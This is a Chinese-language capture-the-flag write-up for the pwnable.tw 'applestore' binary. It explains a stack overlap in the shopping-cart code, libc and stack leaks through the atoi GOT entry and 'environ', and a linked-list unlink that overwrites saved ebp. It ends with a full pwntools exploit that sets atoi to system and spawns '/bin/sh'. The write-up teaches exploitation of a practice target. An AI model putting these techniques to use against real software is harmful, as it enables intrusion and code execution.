pwnable.tw之applestore

该题是模拟了apple的商店,来售卖apple的各种产品,其提供了6个功能:

  • 1: 展示商店的商品
  • 2: 添加商品到购物车
  • 3: 从购物车里面将某一商品删除
  • 4: 展示购物车里面的商品
  • 5: 结算
  • 6: 退出

其中,购物车是用双向链表实现的,其每一项的结构如下,其在32位机器下的大小为16字节。链表头是一个全局变量,存在0x804b068处。

1
2
3
4
5
6
struct cart_entry{
char* product_name,
int price,
cart_entry* next,
cart_entry* previous
};

程序分析

下面简单的分析添加,删除,购物车输出和结算功能。

添加商品

添加商品是在add()函数中实现的,其在ida中反汇编出来的结果如下图所示:

add_all

该函数的逻辑也比较简单,其首先通过malloc在堆上分配16自己大小的空间,然后进行初始化,最后将该结构体添加到双向链表中。

结算

结算功能是在checkout()函数中实现的,其在ida中反汇编出来的结果如下图所示:

checkout

由上图可知,其当满足总金额=7174时,则将一个临时变量v2(位于ebp-0x20)加入到双向链表中,而ebp-0x20处的内存如果能被我们所控制的话就可能进行攻击(泄露内存等)。而通过分析可知在cart()函数接收输入的时候我们的输入是能够覆盖到ebp-0x20处的。所以此时只需要满足购物车的总金额=7174即可。我们观察到一共有4种不同的价格(199,299,399,499),我们可以列个方程求出多种解。最直接的方法是交给z3求解器,具体求解如下:

1
2
3
4
5
6
7
8

In [1]: from z3 import *
In [2]: x = Int('x')
In [3]: y = Int('y')
In [4]: m = Int('m')
In [5]: n = Int('n')
In [7]: solve(x>=0,y>=0,m>=0,n>=0,199*x+299*y+399*m+499*n==7174)
[y = 20, x = 6, n = 0, m = 0]

即可求出结果,使得满足购物车总金额=7174.

输出购物车

输出购物车功能是在cart()函数中实现的,其在ida中反汇编出来的结果如下图所示:

cart

在cart()函数中,有一个可以利用的地方就是在my_read()时,用户能输入0x15大小的数据,而输入的数据存进的内存即在ebp-0x22开始处,正好可以将checkout中的添加到双向链表的临时变量(ebp-0x20)给覆盖掉。如果我们将临时变量的第一个元素(存放商品名称)的地方存入atoi的got地址,则可以将libc的地址泄露出来。

删除

删除功能是在delete()函数中实现的,其在ida中反汇编出来的结果如下图所示:

delete

删除操作就是在双向链表中找到要删除的项,然后就是正规的双向链表操作。由于我们可以通过输入控制ebp-0x20处的项的数据,如果我们将next和previous元素修改成特定的值,就有可能修改got表项,此时就造成了控制流的劫持。一开始我是将next修改成got[‘atoi’]-0xc,将previous改成system的地址,最后发生segment fault. 仔细一想,此时确实将atoi的got表项改成了system的地址了,但是也需要将system.addr+8赋值为got[‘atoi’]-0xc,而system.addr+8处是代码段,改程序又开了NX保护,所以会发生segment fault.

Attack

通过前面的分析,我们可以利用cart()函数覆盖ebp-0x20处的内容,进而可以进行内存泄露攻击,将glibc的地址和栈中的地址泄露出来。通过delete函数,我们可以修改某一内存处的内容,如果我们修改ebp的值,使其在leave操作(mov esp, ebp; pop ebp)时,将修改后的ebp值赋给ebp寄存器,从而控制栈,进而修改got表项。

内存泄露

通过前面的分析我们可以看到在cart()函数中,如果将ebp-0x20处的内容覆盖为got[‘atoi’]的地址,则在cart函数输出的时候,就可以将atoi的got表项的内容泄露出来,即glibc的atoi函数的地址。

泄露栈中的地址,一开始没有思路,通过网上的write up,学到了一个方法:glibc有一个全局变量’environ’,该变量保存用户环境,其是一个char**类型,在程序运行时,将用户环境指向栈上,所以environ存储的地址就是栈上的地址,如果我们将environ变量的内容泄露出来也就泄露出来了栈上的地址。

修改Got

此前尝试直接将atoi的got表项改为system的地址会失败,通过查找write up发现有一个比较巧妙的方法: 通过修改子函数(delete函数)的saved ebp值为got[‘atoi’]+0x22的值,则返回delete函数到handle函数时,此时ebp即是got[‘atoi’]+0x22,此时通过my_read()函数将用户输入的值放入ebp-0x22处,即got[‘atoi’],此时可以达到修改atoi的got表项的目的。而修改saved ebp值可以通过delete函数来实现。

完整攻击

完整攻击代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

'''
control ebp to control the stack, so can modify atoi got
'''

def addDevice(device_num):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('Device Number>')
p.sendline(device_num)

def checkout():
p.recvuntil('>')
p.sendline('5')
p.recvuntil('(y/n) >')
p.sendline('y')

def cart(payload):
p.recvuntil('>')
p.sendline('4')
p.recvuntil('(y/n) >')
p.sendline(payload)

def delete(payload):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Item Number>')
p.sendline(payload)


if __name__ == '__main__':
#p = process('./applestore', env={'LD_PRELOAD' : './libc_32.so.6'})
p = remote('chall.pwnable.tw', 10104)
apple = ELF('./applestore')
libc = ELF('./libc_32.so.6')
#print("pid : " + str(proc.pidof(p)))
#raw_input('attach me ')
for i in range(20):
addDevice('2')

for i in range(6):
addDevice('1')

checkout()

# leak libc address
payload = 'y\x00' + p32(apple.got['atoi']) + '\x00\x00\x00\x00' * 3
#addDevice(payload)
cart(payload)
p.recvuntil('27: ')
atoi_addr = u32(p.recvline()[0:4])
atoi_libc = libc.symbols['atoi']
libc_base = atoi_addr - atoi_libc
log.info('atoi address is ' + hex(atoi_addr))
log.info('atoi address in libc is ' + hex(atoi_libc))
log.info('libc base address is ' + hex(libc_base))

libc.address = libc_base

# leak the stack address
environ_addr = libc.symbols['environ']
payload = 'y\x00' + p32(environ_addr) + '\x00\x00\x00\x00' * 3
cart(payload)
p.recvuntil('27: ')
environ_addr = u32(p.recvline()[0:4])
log.info('environ address is ' + hex(environ_addr))
ebp_address = environ_addr - 0x104

# delete, write the ebp to the atoi+0x22
payload = '27' + p32(0x08049002) + p32(0) + p32(apple.got['atoi'] + 0x22) + p32(ebp_address - 0x8)
# gdb.attach(p, '''
# break *0x8048a3d
# ''')
delete(payload)


# attack, set the atoi got to system addr, and execute the system('/bin/sh')
payload = p32(libc.symbols['system']) + ';/bin/sh\x00'
p.recvuntil('>')
p.sendline(payload)


p.interactive()